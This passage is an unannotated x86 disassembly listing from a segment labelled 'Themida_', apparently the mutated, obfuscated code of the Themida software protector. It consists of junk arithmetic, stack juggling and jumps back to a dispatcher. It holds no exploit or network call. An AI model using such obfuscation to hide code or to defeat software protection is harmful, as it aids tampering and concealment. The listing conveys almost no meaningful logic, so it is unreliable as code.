		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		jmp	loc_557EAD
; ---------------------------------------------------------------------------


loc_55787E:				; CODE XREF: Themida_:00555366j
		add	esp, 4
		jmp	loc_559B61
; ---------------------------------------------------------------------------


loc_557886:				; CODE XREF: Themida_:00558714j
		pop	esi
		sub	esi, ecx
		pop	ecx
		add	ebp, 21AF1171h
		add	ebp, esi
		sub	ebp, 21AF1171h
		pop	esi
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_552DC3
; ---------------------------------------------------------------------------


loc_5578A9:				; CODE XREF: Themida_:005529EEj
		or	ch, dl
		jmp	loc_55DEE9
; ---------------------------------------------------------------------------


loc_5578B0:				; CODE XREF: Themida_:00559779j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55226A
; ---------------------------------------------------------------------------


loc_5578BD:				; CODE XREF: Themida_:0055B6CBj
		add	edi, 64117C0Bh
		jmp	loc_557ED8
; ---------------------------------------------------------------------------


loc_5578C8:				; CODE XREF: Themida_:00551EC4j
		div	cx
		push	small 12D0h
		jmp	loc_55C6DF
; ---------------------------------------------------------------------------


loc_5578D4:				; CODE XREF: Themida_:0055CE49j
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55BDF4
; ---------------------------------------------------------------------------


loc_5578DF:				; CODE XREF: Themida_:00555F01j
		add	ecx, 4BF45B92h
		jmp	loc_557E19
; ---------------------------------------------------------------------------


loc_5578EA:				; CODE XREF: Themida_:005568FEj
		add	esi, ecx
		pop	ecx
		shr	esi, 8
		jmp	loc_55AB2C
; ---------------------------------------------------------------------------


loc_5578F5:				; CODE XREF: Themida_:0055AB72j
		push	4652h
		mov	[esp], esp
		push	esi
		mov	esi, 4
		jmp	loc_555458
; ---------------------------------------------------------------------------


loc_557908:				; CODE XREF: Themida_:005573ECj
		push	edx
		jmp	loc_554085
; ---------------------------------------------------------------------------


loc_55790E:				; CODE XREF: Themida_:00555E6Fj
		push	edi
		jmp	loc_55518E
; ---------------------------------------------------------------------------


loc_557914:				; CODE XREF: Themida_:00556D6Aj
		sub	eax, 56E11406h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0B564FF2h
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_556218
; ---------------------------------------------------------------------------


loc_55792E:				; CODE XREF: Themida_:00557368j
		mov	edx, ebp
		jmp	loc_5583D7
; ---------------------------------------------------------------------------


loc_557935:				; CODE XREF: Themida_:00557F8Bj
		sub	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		push	2FDDh
		mov	[esp], esi
		mov	esi, 16FC15E7h
		xchg	edx, esi
		not	edx
		push	esi
		push	7869h
		mov	[esp], edx
		pop	esi
		jmp	loc_55B621
; ---------------------------------------------------------------------------


loc_557963:				; CODE XREF: Themida_:0055D978j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_557968:				; CODE XREF: Themida_:005533FDj
		add	ecx, 0C1E6D175h
		add	edx, ecx
		pop	ecx
		jmp	loc_554A4D
; ---------------------------------------------------------------------------


loc_557976:				; CODE XREF: Themida_:00551AD4j
		push	ebx
		mov	ebx, 711F75EFh
		jmp	loc_556CE2
; ---------------------------------------------------------------------------


loc_557981:				; CODE XREF: Themida_:00559BB3j
		pop	ebp
		add	esp, 4
		jmp	loc_55A39E
; ---------------------------------------------------------------------------


loc_55798D:				; CODE XREF: Themida_:0055D1B4j
		shl	edi, 5
		neg	edi
		sub	edi, 23E3284Ch
		jmp	loc_5589CA
; ---------------------------------------------------------------------------


loc_55799D:				; CODE XREF: Themida_:0055865Fj
		mov	eax, 6C3572B3h
		push	ebp
		mov	ebp, 0FFFFFFFFh
		jmp	loc_551A84
; ---------------------------------------------------------------------------


loc_5579AD:				; CODE XREF: Themida_:00556943j
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5592F0
; ---------------------------------------------------------------------------


loc_5579D4:				; CODE XREF: Themida_:0055A65Ej
		add	eax, 0E98E1B77h
		or	ecx, eax
		pop	eax
		add	ecx, 0B145FAFh
		xor	eax, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_55B677
; ---------------------------------------------------------------------------


loc_5579F0:				; CODE XREF: Themida_:005530CBj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_558FFF
; ---------------------------------------------------------------------------


loc_5579FC:				; CODE XREF: Themida_:0055235Aj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esi, 4289023Ch
		jmp	loc_5537EB
; ---------------------------------------------------------------------------


loc_557A20:				; CODE XREF: Themida_:00557E14j
		mov	edi, esp
		add	edi, 4
		push	eax
		push	691810F0h
		jmp	loc_554CB0
; ---------------------------------------------------------------------------


loc_557A33:				; CODE XREF: Themida_:0055A7C7j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		movsx	ecx, ax
		push	1D62h
		mov	[esp], ecx
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_557A4D:				; CODE XREF: Themida_:00557DAFj
		pop	esi
		push	eax
		mov	eax, 1E8C2564h
		push	ebx
		mov	ebx, 66431B38h
		or	eax, ebx
		jmp	loc_555B4F
; ---------------------------------------------------------------------------


loc_557A61:				; CODE XREF: Themida_:005535E5j
		add	esi, 43E30048h
		pop	ebp
		add	esi, 2
		jmp	loc_5553A4
; ---------------------------------------------------------------------------


loc_557A73:				; CODE XREF: Themida_:0055ACC1j
		pop	esp
		test	cl, al
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_557A7C:				; CODE XREF: Themida_:005580ABj
		and	ebp, 7F85485Eh
		jmp	loc_556C7D
; ---------------------------------------------------------------------------


loc_557A87:				; CODE XREF: Themida_:0055C0B6j
		xor	ebx, edx
		jmp	loc_555C91
; ---------------------------------------------------------------------------


loc_557A8E:				; CODE XREF: Themida_:005520B2j
		neg	edx
		jmp	loc_55CC84
; ---------------------------------------------------------------------------


loc_557A95:				; CODE XREF: Themida_:0055B4CAj
		mov	[esp], edx
		push	esp
		jmp	loc_552C16
; ---------------------------------------------------------------------------


loc_557A9E:				; CODE XREF: Themida_:0055CF72j
		pop	edx
		pop	bx
		xchg	cl, bh
		jmp	loc_55419A
; ---------------------------------------------------------------------------


loc_557AA8:				; CODE XREF: Themida_:00557065j
		mov	eax, esp
		push	edi
		jmp	loc_552F4C
; ---------------------------------------------------------------------------


loc_557AB0:				; CODE XREF: Themida_:00556729j
		mov	[esp], ecx
		jmp	loc_55969C
; ---------------------------------------------------------------------------


loc_557AB8:				; CODE XREF: Themida_:0055DE92j
		sub	bl, 31h
		add	bl, ah
		jmp	loc_551C8D
; ---------------------------------------------------------------------------


loc_557AC2:				; CODE XREF: Themida_:0055B9F7j
		push	edx
		push	ecx
		mov	cl, bl
		mov	dl, cl
		pop	ecx
		mov	al, dl
		jmp	loc_55346B
; ---------------------------------------------------------------------------


loc_557AD0:				; CODE XREF: Themida_:0055AED2j
		shr	ebx, 6
		xor	ebx, 15E578C8h
		and	ecx, ebx
		jmp	loc_55C555
; ---------------------------------------------------------------------------


loc_557AE0:				; CODE XREF: Themida_:0055C739j
		mov	bh, 7
		shr	bh, 3
		jmp	loc_55B09F
; ---------------------------------------------------------------------------


loc_557AEA:				; CODE XREF: Themida_:0055726Bj
		shr	eax, 1
		dec	eax
		xor	eax, 24529577h
		jmp	loc_55D632
; ---------------------------------------------------------------------------


loc_557AF7:				; CODE XREF: Themida_:00554282j
		push	7292h
		mov	[esp], edx
		mov	edx, 191C7D78h
		add	eax, 291063FBh
		jmp	loc_559D20
; ---------------------------------------------------------------------------


loc_557B0E:				; CODE XREF: Themida_:00559267j
		mov	edx, 2
		sub	esi, 0AE1454Bh
		add	esi, edx
		push	ebp
		mov	ebp, 345E1E9Dh
		add	ebp, 0D68326AEh
		add	esi, ebp
		pop	ebp
		pop	edx
		xchg	esi, [esp]
		jmp	loc_55B5E4
; ---------------------------------------------------------------------------


loc_557B33:				; CODE XREF: Themida_:00551C71j
		mov	bh, al
		jmp	loc_556932
; ---------------------------------------------------------------------------


loc_557B3A:				; CODE XREF: Themida_:00556DDFj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_557B4B:				; CODE XREF: Themida_:0055D77Dj
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_556A4B
; ---------------------------------------------------------------------------


loc_557B67:				; CODE XREF: Themida_:005583BAj
		and	edi, esi
		pop	esi
		sub	edi, 251004Eh
		sub	ecx, 66335930h
		add	ecx, edi
		push	ebx
		mov	ebx, 66335930h
		add	ecx, ebx
		pop	ebx
		jmp	loc_553B9C
; ---------------------------------------------------------------------------


loc_557B86:				; CODE XREF: Themida_:00555D4Ej
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_557B9B:				; CODE XREF: Themida_:00553B03j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_556474
; ---------------------------------------------------------------------------


loc_557BAC:				; CODE XREF: Themida_:0055A894j
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55C2A0
; ---------------------------------------------------------------------------


loc_557BC4:				; CODE XREF: Themida_:0055AC9Cj
		add	edi, 38578954h
		add	eax, edi
		jmp	loc_554D71
; ---------------------------------------------------------------------------


loc_557BD1:				; CODE XREF: Themida_:00557FCFj
		push	ecx
		mov	ecx, 60400620h
		mov	ebp, 60400621h
		jmp	loc_55A806
; ---------------------------------------------------------------------------


loc_557BE1:				; CODE XREF: Themida_:0055BF38j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_554C4F
; ---------------------------------------------------------------------------


loc_557BF0:				; CODE XREF: Themida_:00559A99j
		push	32F40E0Ch
		pop	esi
		add	esi, 0FBAB612Ah
		jmp	loc_55297D
; ---------------------------------------------------------------------------


loc_557C01:				; CODE XREF: Themida_:0055A16Aj
		push	esp
		pop	edx
		jmp	loc_559006
; ---------------------------------------------------------------------------


loc_557C08:				; CODE XREF: Themida_:005547F0j
		xor	eax, 2B183B96h
		neg	eax
		xor	eax, 11083C7Ah
		neg	eax
		shr	eax, 5
		xor	eax, 7F575EDFh
		add	ebp, eax
		pop	eax
		add	ebp, 62095A21h
		add	ebp, edx
		sub	ebp, 62095A21h
		sub	ebp, 7E3E1601h
		pop	edx
		push	esi
		mov	esi, 2
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_5568E5
; ---------------------------------------------------------------------------


loc_557C4C:				; CODE XREF: Themida_:0055738Aj
		shl	eax, 8
		add	eax, 18B1928Fh
		or	edi, eax
		jmp	loc_55C4D9
; ---------------------------------------------------------------------------


loc_557C5B:				; CODE XREF: Themida_:0055202Dj
		pop	ax
		shl	dl, 2
		add	dl, 0FFh
		push	ebx
		mov	bl, 0ECh
		xor	dl, bl
		pop	ebx
		jmp	loc_5575E5
; ---------------------------------------------------------------------------


loc_557C6E:				; CODE XREF: Themida_:0055A801j
		mov	ecx, ebp
		pop	ebp
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 5D4250DCh
		sub	eax, ecx
		add	eax, 5D4250DCh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55270A
; ---------------------------------------------------------------------------


loc_557C93:				; CODE XREF: Themida_:00552F25j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5586DB
; ---------------------------------------------------------------------------


loc_557C9D:				; CODE XREF: Themida_:005590C9j
		pop	esi
		push	ecx
		jmp	loc_55B101
; ---------------------------------------------------------------------------


loc_557CA4:				; CODE XREF: Themida_:0055934Cj
		add	esp, 4
		jmp	loc_5526BF
; ---------------------------------------------------------------------------


loc_557CAF:				; CODE XREF: Themida_:00558B4Aj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_557CC4:				; CODE XREF: Themida_:00553EFFj
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_557CC9:				; CODE XREF: Themida_:0055B1B8j
		or	ebp, 927BE4h
		shr	ebp, 2
		add	ebp, 0F14B6F7Ch
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55A9D3
; ---------------------------------------------------------------------------


loc_557CE0:				; CODE XREF: Themida_:00555C78j
		and	dh, cl
		jmp	loc_55DB63
; ---------------------------------------------------------------------------


loc_557CE7:				; CODE XREF: Themida_:0055D20Fj
		mov	eax, 6EDE6FBBh
		or	eax, 6C630EEFh
		shr	eax, 2
		shl	eax, 4
		inc	eax
		add	eax, 6D4753FDh
		mov	ebp, eax
		pop	eax
		sub	edi, ebp
		pop	ebp
		jmp	loc_55C3F6
; ---------------------------------------------------------------------------


loc_557D08:				; CODE XREF: Themida_:0055916Cj
		sub	esp, 4
		jmp	loc_555E82
; ---------------------------------------------------------------------------


loc_557D10:				; CODE XREF: Themida_:00552F04j
		neg	edx
		sub	edx, 53CF1A87h
		add	edx, 0F40A97h
		add	edx, 91DDFF9Eh
		xor	esi, edx
		pop	edx
		jmp	loc_552E18
; ---------------------------------------------------------------------------


loc_557D2C:				; CODE XREF: Themida_:00553364j
		pop	esi
		push	edx
		jmp	loc_5569D0
; ---------------------------------------------------------------------------


loc_557D33:				; CODE XREF: Themida_:005567EFj
		pop	ebp


loc_557D34:				; CODE XREF: Themida_:00559978j
		push	51D6h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55DCA1
; ---------------------------------------------------------------------------


loc_557D4A:				; CODE XREF: Themida_:00559641j
		push	dx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5529B0
; ---------------------------------------------------------------------------


loc_557D57:				; CODE XREF: Themida_:00553602j
		mov	ebx, 113B22EBh
		jmp	loc_556690
; ---------------------------------------------------------------------------


loc_557D61:				; CODE XREF: Themida_:0055D746j
		add	al, 45h
		pop	ecx
		push	0CCBh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 9
		shr	bl, 2
		xor	bl, 35h
		push	eax
		mov	al, bl
		mov	dh, al
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		xor	al, dh
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	2F1Eh
		jmp	loc_552556
; ---------------------------------------------------------------------------


loc_557DA1:				; CODE XREF: Themida_:00557350j
		add	edi, esi
		sub	edi, 37501B45h
		sub	edi, 6A576D9Dh
		jmp	loc_557A4D
; ---------------------------------------------------------------------------


loc_557DB4:				; CODE XREF: Themida_:0055532Fj
		xchg	edi, [esp]
		pop	esp
		and	eax, edx
		pop	edx
		jmp	loc_55C86B
; ---------------------------------------------------------------------------


loc_557DC0:				; CODE XREF: Themida_:0055D857j
		add	ecx, ebx
		pop	ebx
		jmp	loc_5537B4
; ---------------------------------------------------------------------------


loc_557DC8:				; CODE XREF: Themida_:0055973Dj
		push	eax
		push	esp
		jmp	loc_55A68E
; ---------------------------------------------------------------------------


loc_557DCF:				; CODE XREF: Themida_:00554A20j
		push	dword ptr [esp]
		jmp	loc_556431
; ---------------------------------------------------------------------------


loc_557DD7:				; CODE XREF: Themida_:00558B02j
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	ebp, 2
		jmp	loc_55D52B
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_558D39
; ---------------------------------------------------------------------------


loc_557DF2:				; CODE XREF: Themida_:0055B48Ej
		xchg	esi, [esp]
		pop	esp
		neg	ebx
		jmp	loc_5591A8
; ---------------------------------------------------------------------------


loc_557DFD:				; CODE XREF: Themida_:0055AFCDj
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_557A20
; ---------------------------------------------------------------------------


loc_557E19:				; CODE XREF: Themida_:005578E5j
		neg	ecx
		and	ecx, 5370624Eh
		or	ecx, 4F2D3B13h
		add	ecx, 0E041DCA5h
		sub	esi, ecx
		pop	ecx
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_557E40:				; CODE XREF: Themida_:005580B9j
		mov	edi, esi
		jmp	loc_55D29A
; ---------------------------------------------------------------------------


loc_557E47:				; CODE XREF: Themida_:00552C6Dj
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_553E14
; ---------------------------------------------------------------------------


loc_557E61:				; CODE XREF: Themida_:0055BFD9j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6674675h
		add	eax, 5D1A2822h
		sub	eax, 63816E93h
		jmp	loc_554F57
; ---------------------------------------------------------------------------


loc_557E7B:				; CODE XREF: Themida_:0055591Ej
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_55D5AA
; ---------------------------------------------------------------------------


loc_557E93:				; CODE XREF: Themida_:005570AFj
		push	esi
		jmp	loc_5537BF
; ---------------------------------------------------------------------------


loc_557E99:				; CODE XREF: Themida_:00554B66j
		inc	bh
		dec	bh
		jmp	loc_5589AF
; ---------------------------------------------------------------------------


loc_557EA2:				; CODE XREF: Themida_:0055D01Aj
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55CA64
; ---------------------------------------------------------------------------


loc_557EAD:				; CODE XREF: Themida_:00557879j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55D2E6
; ---------------------------------------------------------------------------


loc_557EBA:				; CODE XREF: Themida_:00556369j
		mov	ecx, 78852283h
		jmp	loc_555ED9
; ---------------------------------------------------------------------------


loc_557EC4:				; CODE XREF: Themida_:0055D725j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_559C95
; ---------------------------------------------------------------------------


loc_557ECF:				; CODE XREF: Themida_:00552B6Aj
		pop	edx
		shl	ebx, 6
		jmp	loc_5586C9
; ---------------------------------------------------------------------------


loc_557ED8:				; CODE XREF: Themida_:005578C3j
		push	ebx
		mov	ebx, 29EC750Fh
		jmp	loc_5557DD
; ---------------------------------------------------------------------------


loc_557EE3:				; CODE XREF: Themida_:00558FD4j
		add	ebp, 2
		jmp	loc_551B7A
; ---------------------------------------------------------------------------


loc_557EEE:				; CODE XREF: Themida_:0055239Dj
		or	ebx, 1B7021A0h
		add	ebx, 2B0137ADh
		add	ebx, 743F74A0h
		mov	ecx, ebx
		pop	ebx
		dec	ecx
		jmp	loc_55BCF1
; ---------------------------------------------------------------------------


loc_557F09:				; CODE XREF: Themida_:0055BF4Dj
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_55C5B0
; ---------------------------------------------------------------------------


loc_557F28:				; CODE XREF: Themida_:00552910j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_557F2D:				; CODE XREF: Themida_:0055B399j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_553753
; ---------------------------------------------------------------------------


loc_557F3D:				; CODE XREF: Themida_:00551C49j
		mov	esi, edx
		pop	edx
		add	esi, ebx
		pop	ebx
		and	eax, esi
		mov	esi, [esp]
		push	68AAh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		jmp	loc_55B1DB
; ---------------------------------------------------------------------------


loc_557F63:				; CODE XREF: Themida_:005529ABj
		push	ebx
		push	75D25666h
		mov	ebx, [esp]
		add	esp, 4
		shr	ebx, 7
		sub	ebx, 889B68BAh
		jmp	loc_5549E3
; ---------------------------------------------------------------------------


loc_557F7D:				; CODE XREF: Themida_:005557A4j
					; Themida_:005599F0j
		push	ebx
		push	1AC8h
		mov	[esp], edi
		mov	edi, 42927780h
		jmp	loc_557935
; ---------------------------------------------------------------------------


loc_557F90:				; CODE XREF: Themida_:0055707Fj
		add	ecx, ebp
		pop	ebp
		add	ecx, 5FAF4345h
		and	ecx, 7D9878D2h
		push	7283h
		jmp	loc_55C871
; ---------------------------------------------------------------------------


loc_557FA9:				; CODE XREF: Themida_:005560EDj
		pop	ebp
		add	edx, 0EA09BC06h
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55445E
; ---------------------------------------------------------------------------


loc_557FBE:				; CODE XREF: Themida_:0055CF09j
		add	edi, ebx
		pop	ebx
		push	esi
		jmp	loc_552B99
; ---------------------------------------------------------------------------


loc_557FC7:				; CODE XREF: Themida_:005586A5j
		push	3D63h
		mov	[esp], ebp
		jmp	loc_557BD1
; ---------------------------------------------------------------------------


loc_557FD4:				; CODE XREF: Themida_:0055B86Fj
		mov	[esp], edi
		mov	edi, 988489Fh
		xor	ecx, edi
		pop	edi
		and	eax, ecx
		jmp	loc_558AA2
; ---------------------------------------------------------------------------


loc_557FE6:				; CODE XREF: Themida_:0055B050j
		add	ebx, 4
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_555A49
; ---------------------------------------------------------------------------


loc_557FFD:				; CODE XREF: Themida_:0055D245j
		mov	[ebx], al
		pop	ebx
		jmp	loc_551A0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_558005:				; CODE XREF: sub_55656B+2F43j
		add	ebp, edi
		add	ebp, 3A6439D9h
		jmp	loc_55400D
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_558012:				; CODE XREF: Themida_:0055A5A1j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_55A715
; ---------------------------------------------------------------------------


loc_558021:				; CODE XREF: Themida_:00559F55j
		xor	ebp, 1020044h
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		push	3B7Fh
		mov	[esp], esi
		push	ebx
		push	ebp
		push	edx
		mov	edx, 29255FC1h
		mov	ebp, 374B13BEh
		jmp	loc_55C3FC
; ---------------------------------------------------------------------------


loc_558048:				; CODE XREF: Themida_:0055DECFj
		xor	ebp, esi
		pop	esi
		add	ebp, 1
		sub	ebp, 32B373C4h
		sub	ebp, 0F103D4B1h
		push	ecx
		mov	ecx, ebp
		mov	esi, ecx
		jmp	loc_555FB5
; ---------------------------------------------------------------------------


loc_558064:				; CODE XREF: Themida_:0055A49Aj
		pop	esi
		sub	edi, ecx
		sub	edi, 18103030h
		push	ecx
		push	edi
		pop	ecx
		pop	edi
		pop	edi
		sub	ecx, 163A1BC5h
		jmp	loc_558187
; ---------------------------------------------------------------------------


loc_55807D:				; CODE XREF: Themida_:00551CABj
		add	esp, 4
		xor	esi, 69CF0BDEh
		add	esi, 76F624E7h
		jmp	loc_559620
; ---------------------------------------------------------------------------


loc_558094:				; CODE XREF: Themida_:005596D4j
		sub	bx, 1D0Ch
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5599C7
; ---------------------------------------------------------------------------


loc_5580A7:				; CODE XREF: Themida_:00559F6Dj
		inc	ebp
		shl	ebp, 3
		jmp	loc_557A7C
; ---------------------------------------------------------------------------


loc_5580B0:				; CODE XREF: Themida_:00559B6Dj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_557E40
; ---------------------------------------------------------------------------


loc_5580BE:				; CODE XREF: Themida_:0055C7D3j
		cmp	eax, edx
		jz	loc_55CCE1
		push	ecx
		mov	ecx, 4EC90053h
		jmp	loc_556313
; ---------------------------------------------------------------------------


loc_5580D1:				; CODE XREF: Themida_:0055B0D5j
		pop	eax
		push	ecx
		mov	cl, 8Fh
		xor	cl, 0ACh
		xor	cl, 32h
		xor	cl, 0A1h
		sub	bl, cl
		pop	ecx
		movzx	eax, al
		jmp	loc_55A45E
; ---------------------------------------------------------------------------


loc_5580E9:				; CODE XREF: Themida_:00556EADj
		add	edi, 4
		push	1F66h
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		push	eax
		push	32AAh
		mov	[esp], ebx
		mov	bl, 0E3h
		push	ecx
		push	eax
		mov	ah, bl
		mov	cl, ah
		pop	eax
		push	ebx
		jmp	loc_55A747
; ---------------------------------------------------------------------------


loc_55811B:				; CODE XREF: Themida_:005576B1j
		not	edx
		push	eax
		jmp	loc_553B2D
; ---------------------------------------------------------------------------


loc_558123:				; CODE XREF: Themida_:0055C689j
		pop	esp
		shr	ecx, 2
		push	ebx
		jmp	loc_558EC0
; ---------------------------------------------------------------------------


loc_55812D:				; CODE XREF: Themida_:00559CE2j
		pop	eax
		jmp	loc_555DD3
; ---------------------------------------------------------------------------


loc_558133:				; CODE XREF: Themida_:0055A523j
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_556D08
; ---------------------------------------------------------------------------


loc_558151:				; CODE XREF: Themida_:0055D2B5j
		and	ebx, 6CE0030Dh
		xor	ebx, 65264F1h
		add	ebx, 0BD4D9913h
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		mov	ebx, 1A3E79E4h
		shr	ebx, 8
		add	ebx, 7D8667DDh
		jmp	loc_5591C5
; ---------------------------------------------------------------------------


loc_558180:				; CODE XREF: Themida_:0055C87Fj
		sub	ecx, edi
		jmp	loc_5574CB
; ---------------------------------------------------------------------------


loc_558187:				; CODE XREF: Themida_:00558078j
		shl	ecx, 1
		push	eax
		jmp	loc_5529BC
; ---------------------------------------------------------------------------


loc_55818F:				; CODE XREF: Themida_:00558DFCj
		add	eax, 80C0A8CFh
		add	ecx, eax
		jmp	loc_55DED4
; ---------------------------------------------------------------------------


loc_55819B:				; CODE XREF: Themida_:0055DFD7j
		add	ecx, esi
		add	ecx, 5F553858h
		jmp	loc_5588B7
; ---------------------------------------------------------------------------


loc_5581A8:				; CODE XREF: Themida_:005582C8j
		push	edx
		mov	edx, 0B043C6Bh
		add	[esp+8], edx
		pop	edx
		pop	esi
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5581C3:				; CODE XREF: Themida_:00553735j
		sub	ebx, 212C57CCh
		jmp	loc_55B720
; ---------------------------------------------------------------------------


loc_5581CE:				; CODE XREF: Themida_:005584E3j
		push	ebp
		mov	ebp, 6AD63DE9h
		and	ebp, 3D48607Dh
		jmp	loc_556898
; ---------------------------------------------------------------------------


loc_5581DF:				; CODE XREF: Themida_:0055B9D5j
		pop	edx
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_55BDA6
; ---------------------------------------------------------------------------


loc_5581EE:				; CODE XREF: Themida_:0055420Aj
		pop	ebx
		neg	ebx
		push	ecx
		mov	ecx, 37F938E8h
		neg	ecx
		dec	ecx
		neg	ecx
		xor	ecx, 37F938E8h
		add	ebx, ecx
		pop	ecx
		shl	ebx, 2
		not	ebx
		neg	ebx
		jmp	loc_55DC5E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		jmp	loc_552EB1
; ---------------------------------------------------------------------------


loc_55821D:				; CODE XREF: Themida_:005595BBj
		mov	ebp, 4
		jmp	loc_55AE72
; ---------------------------------------------------------------------------


loc_558227:				; CODE XREF: Themida_:0055DF2Ej
		push	dword ptr [esp]
		jmp	loc_55CC6F
; ---------------------------------------------------------------------------


loc_55822F:				; CODE XREF: Themida_:0055BAABj
		inc	dl
		add	dl, 1
		sub	dl, 9Dh
		push	5062h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55D3C1
; ---------------------------------------------------------------------------


loc_558252:				; CODE XREF: Themida_:0055D5F2j
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_552A7C
; ---------------------------------------------------------------------------


loc_55826C:				; CODE XREF: Themida_:00558D11j
		sub	edi, 4
		jmp	loc_553E94
; ---------------------------------------------------------------------------


loc_558274:				; CODE XREF: Themida_:00558ADFj
		push	7978h
		mov	[esp], eax
		push	edx
		jmp	loc_555851
; ---------------------------------------------------------------------------


loc_558282:				; CODE XREF: Themida_:0055465Bj
		mov	edi, 65097FF7h
		shl	edi, 6
		jmp	loc_5555E3
; ---------------------------------------------------------------------------


loc_55828F:				; CODE XREF: Themida_:0055391Aj
		shr	ebp, 5
		or	ebp, 24DF2C59h
		add	ebp, 295D008Eh
		neg	ebp
		xor	ebp, 5C360A3Ah
		add	ebp, 8D592797h
		jmp	loc_55C588
; ---------------------------------------------------------------------------


loc_5582B1:				; CODE XREF: Themida_:0055723Dj
